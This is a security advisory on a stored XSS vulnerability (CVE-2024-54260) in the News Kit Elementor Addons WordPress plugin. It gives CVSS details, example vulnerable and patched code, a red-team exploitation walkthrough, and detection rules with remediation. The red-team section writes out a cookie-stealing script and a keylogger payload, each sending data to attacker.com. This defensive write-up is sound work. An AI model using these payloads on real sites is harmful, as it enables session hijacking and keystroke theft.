CVE-2024-54260

Executive Summary

CVE-2024-54260 is a Stored Cross-Site Scripting (XSS) vulnerability in the News Kit Elementor Addons WordPress plugin by Blazethemes, affecting versions up to and including 1.4.2. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages, which are then executed whenever a user accesses the compromised page. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin's integration with Elementor, a widely used page builder, the attack surface is significant. No public exploit code or patch details are currently available, but the risk is elevated due to the stored nature of the XSS.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the widespread use of Elementor increase the potential impact.

Deep Dive & Mechanics

The vulnerability exists in the news-kit-elementor-addons plugin, which provides custom Elementor widgets for displaying news content. The plugin fails to properly sanitize user input before storing it in the database and later rendering it in the browser. Specifically, fields such as widget titles, descriptions, or custom CSS classes are not sanitized or escaped, allowing an attacker to inject malicious JavaScript.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page using the News Kit Elementor Addons widget.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into an unsanitized input field.
3. The payload is stored in the WordPress database.
4. When an administrator or other user views the compromised page, the script executes in their browser context.

Root Cause: The plugin uses echo or the_content filters without applying WordPress's built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (Example from version 1.4.2):

// In a widget's render method
echo '<div class="news-kit-title">' . $settings['title'] . '</div>';

Patched Code (Hypothetical fix):

// Properly escape output
echo '<div class="news-kit-title">' . esc_html( $settings['title'] ) . '</div>';

The vulnerable code directly outputs user-controlled data without escaping, while the patched version uses esc_html() to neutralize any HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the News Kit Elementor Addons plugin version <= 1.4.2 installed and activated.
• A user account with contributor-level privileges or higher.

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add the "News Kit" widget from Elementor.
4. In the widget settings, locate an input field (e.g., "Title" or "Custom CSS Class").
5. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Save and publish the post.
7. When an administrator views the post, the script executes, exfiltrating their session cookie.

Alternative Payload (Keylogger):

document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
});

Blue Team

Detection Steps:

1. Monitor for unusual JavaScript execution in the browser console.
2. Check for unexpected network requests to external domains.
3. Review recent posts/pages for suspicious content in widget fields.
4. Use the detection rules provided below.

Mitigation:

• Immediately restrict contributor-level access if not needed.
• Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
• Monitor logs for wp_ajax calls from Elementor widgets.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the WordPress admin area.
  • Requests containing document.cookie in the payload.
• File IOCs:
  • Modified plugin files in /wp-content/plugins/news-kit-elementor-addons/.
  • Unexpected JavaScript files in the uploads directory.
• Database IOCs:
  • Rows in wp_posts or wp_postmeta containing <script> tags.
  • Base64-encoded payloads in widget settings.

Detection Engineering

YARA Rule

rule CVE_2024_54260_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in News Kit Elementor Addons plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54260"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/si
        $plugin_path = /news-kit-elementor-addons/
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS via News Kit Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts using News Kit Elementor Addons
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains: 'action=elementor_ajax'
        http.body|contains: 'news-kit-elementor-addons'
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget settings
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54260 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Review and clean any posts/pages created by low-privilege users for malicious content.
3. Reset all user sessions to invalidate any stolen cookies.

Long-term Fix:

• The vendor (Blazethemes) must release a patched version (>= 1.4.3) that properly escapes output.
• Apply the principle of least privilege: restrict contributor-level access.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for XSS.
• Manually edit the plugin files to add esc_html() calls (not recommended for non-developers).

Valters IT
Securing Digital Frontiers